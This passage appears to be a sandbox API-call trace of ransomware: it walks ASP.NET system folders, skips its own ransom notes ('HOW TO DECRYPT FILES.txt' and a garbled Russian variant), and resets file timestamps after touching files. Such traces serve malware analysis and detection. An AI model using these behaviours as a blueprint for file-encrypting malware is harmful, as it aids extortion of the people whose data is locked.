lpString2="findUsers.aspx") returned -1 [0137.305] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="findUsers.aspx") returned 1 [0137.305] lstrcmpiA (lpString1="", lpString2="findUsers.aspx") returned -1 [0137.306] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="manageUsers.aspx", cAlternateFileName="MANAGE~1.ASP")) returned 1 [0137.306] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.306] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="manageUsers.aspx") returned -1 [0137.306] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="manageUsers.aspx") returned -1 [0137.306] lstrcmpiA (lpString1="", lpString2="manageUsers.aspx") returned -1 [0137.306] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="manageUsers.aspx", cAlternateFileName="MANAGE~1.ASP")) returned 0 [0137.306] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0137.306] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f3718e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Wizard", cAlternateFileName="")) returned 1 [0137.306] lstrcmpA (lpString1=".", lpString2="Wizard") returned -1 [0137.306] lstrcmpA (lpString1="..", lpString2="Wizard") returned -1 [0137.307] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f3718e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName=".", cAlternateFileName="")) returned 0x502698 [0137.312] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.312] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f3718e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0137.312] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.312] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.313] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f3718e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="App_LocalResources", cAlternateFileName="APP_LO~1")) returned 1 [0137.313] lstrcmpA (lpString1=".", lpString2="App_LocalResources") returned -1 [0137.313] lstrcmpA (lpString1="..", lpString2="App_LocalResources") returned -1 [0137.313] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\App_LocalResources\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f3718e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0137.316] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.316] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f3718e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.316] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.316] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.316] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ebb5160, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x307, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="confirmation.ascx.resx", cAlternateFileName="CONFIR~1.RES")) returned 1 [0137.316] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0137.316] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="confirmation.ascx.resx") returned 1 [0137.316] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="confirmation.ascx.resx") returned 1 [0137.317] lstrcmpiA (lpString1="", lpString2="confirmation.ascx.resx") returned -1 [0137.319] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.319] CloseHandle (hObject=0x9c) returned 1 [0137.319] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f325620, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x816, dwReserved0=0x0, dwReserved1=0x0, cFileName="wizard.aspx.resx", cAlternateFileName="WIZARD~1.RES")) returned 1 [0137.319] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0137.319] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="wizard.aspx.resx") returned -1 [0137.319] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="wizard.aspx.resx") returned -1 [0137.319] lstrcmpiA (lpString1="", lpString2="wizard.aspx.resx") returned -1 [0137.320] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f325620, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x497, dwReserved0=0x700070, dwReserved1=0x4c005f, cFileName="wizardAddUser.ascx.resx", cAlternateFileName="WIZARD~2.RES")) returned 1 [0137.320] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0137.320] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="wizardAddUser.ascx.resx") returned -1 [0137.320] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="wizardAddUser.ascx.resx") returned -1 [0137.320] lstrcmpiA (lpString1="", lpString2="wizardAddUser.ascx.resx") returned -1 [0137.320] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f325620, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x74b, dwReserved0=0x700070, dwReserved1=0x4c005f, cFileName="wizardAuthentication.ascx.resx", cAlternateFileName="WIZARD~3.RES")) returned 1 [0137.321] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0137.321] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="wizardAuthentication.ascx.resx") returned -1 [0137.321] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="wizardAuthentication.ascx.resx") returned -1 [0137.321] lstrcmpiA (lpString1="", lpString2="wizardAuthentication.ascx.resx") returned -1 [0137.321] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f325620, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x8fa, dwReserved0=0x700070, dwReserved1=0x4c005f, cFileName="wizardCreateRoles.ascx.resx", cAlternateFileName="WIZARD~4.RES")) returned 1 [0137.321] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0137.321] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="wizardCreateRoles.ascx.resx") returned -1 [0137.321] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="wizardCreateRoles.ascx.resx") returned -1 [0137.321] lstrcmpiA (lpString1="", lpString2="wizardCreateRoles.ascx.resx") returned -1 [0137.322] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f34b780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x395, dwReserved0=0x700070, dwReserved1=0x4c005f, cFileName="wizardFinish.ascx.resx", cAlternateFileName="WIEAF3~1.RES")) returned 1 [0137.322] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0137.322] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="wizardFinish.ascx.resx") returned -1 [0137.322] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="wizardFinish.ascx.resx") returned -1 [0137.322] lstrcmpiA (lpString1="", lpString2="wizardFinish.ascx.resx") returned -1 [0137.322] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f34b780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x60e, dwReserved0=0x700070, dwReserved1=0x4c005f, cFileName="wizardInit.ascx.resx", cAlternateFileName="WI6404~1.RES")) returned 1 [0137.322] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0137.322] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="wizardInit.ascx.resx") returned -1 [0137.322] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="wizardInit.ascx.resx") returned -1 [0137.322] lstrcmpiA (lpString1="", lpString2="wizardInit.ascx.resx") returned -1 [0137.323] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f34b780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xe3d, dwReserved0=0x700070, dwReserved1=0x4c005f, cFileName="wizardPermission.ascx.resx", cAlternateFileName="WIBB25~1.RES")) returned 1 [0137.323] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0137.323] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="wizardPermission.ascx.resx") returned -1 [0137.323] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="wizardPermission.ascx.resx") returned -1 [0137.323] lstrcmpiA (lpString1="", lpString2="wizardPermission.ascx.resx") returned -1 [0137.323] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0x700070, dwReserved1=0x4c005f, cFileName="wizardProviderInfo.ascx.resx", cAlternateFileName="WIDA10~1.RES")) returned 1 [0137.323] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0137.323] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="wizardProviderInfo.ascx.resx") returned -1 [0137.324] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="wizardProviderInfo.ascx.resx") returned -1 [0137.324] lstrcmpiA (lpString1="", lpString2="wizardProviderInfo.ascx.resx") returned -1 [0137.324] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0x700070, dwReserved1=0x4c005f, cFileName="wizardProviderInfo.ascx.resx", cAlternateFileName="WIDA10~1.RES")) returned 0 [0137.324] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0137.324] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ebb5160, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x963, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="confirmation.ascx", cAlternateFileName="CONFIR~1.ASC")) returned 1 [0137.324] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.324] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="confirmation.ascx") returned 1 [0137.324] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="confirmation.ascx") returned 1 [0137.324] lstrcmpiA (lpString1="", lpString2="confirmation.ascx") returned -1 [0137.326] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.326] CloseHandle (hObject=0x98) returned 1 [0137.327] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f325620, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2ae9, dwReserved0=0x0, dwReserved1=0x0, cFileName="wizard.aspx", cAlternateFileName="WIZARD~1.ASP")) returned 1 [0137.327] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.327] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="wizard.aspx") returned -1 [0137.327] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="wizard.aspx") returned -1 [0137.327] lstrcmpiA (lpString1="", lpString2="wizard.aspx") returned -1 [0137.327] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f325620, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="wizardAddUser.ascx", cAlternateFileName="WIZARD~1.ASC")) returned 1 [0137.327] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.328] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f325620, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="wizardAuthentication.ascx", cAlternateFileName="WIZARD~2.ASC")) returned 1 [0137.328] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.328] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f325620, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1f1c, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="wizardCreateRoles.ascx", cAlternateFileName="WIZARD~3.ASC")) returned 1 [0137.328] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.328] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f34b780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="wizardFinish.ascx", cAlternateFileName="WIZARD~4.ASC")) returned 1 [0137.328] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.329] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f34b780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1eb, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="wizardInit.ascx", cAlternateFileName="WI7719~1.ASC")) returned 1 [0137.329] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.330] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f34b780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x62c9, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="wizardPermission.ascx", cAlternateFileName="WI658E~1.ASC")) returned 1 [0137.330] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.330] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x6b2, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="wizardProviderInfo.ascx", cAlternateFileName="WIDC57~1.ASC")) returned 1 [0137.330] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.330] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x6b2, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="wizardProviderInfo.ascx", cAlternateFileName="WIDC57~1.ASC")) returned 0 [0137.330] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0137.330] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f3718e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Wizard", cAlternateFileName="")) returned 0 [0137.330] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0137.330] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1fd7000, ftCreationTime.dwHighDateTime=0x1cd5cf4, ftLastAccessTime.dwLowDateTime=0xd5c807c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc1fd7000, ftLastWriteTime.dwHighDateTime=0x1cd5cf4, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="web.config", cAlternateFileName="WEB~1.CON")) returned 1 [0137.330] PeekMessageA (in: lpMsg=0x18f784, 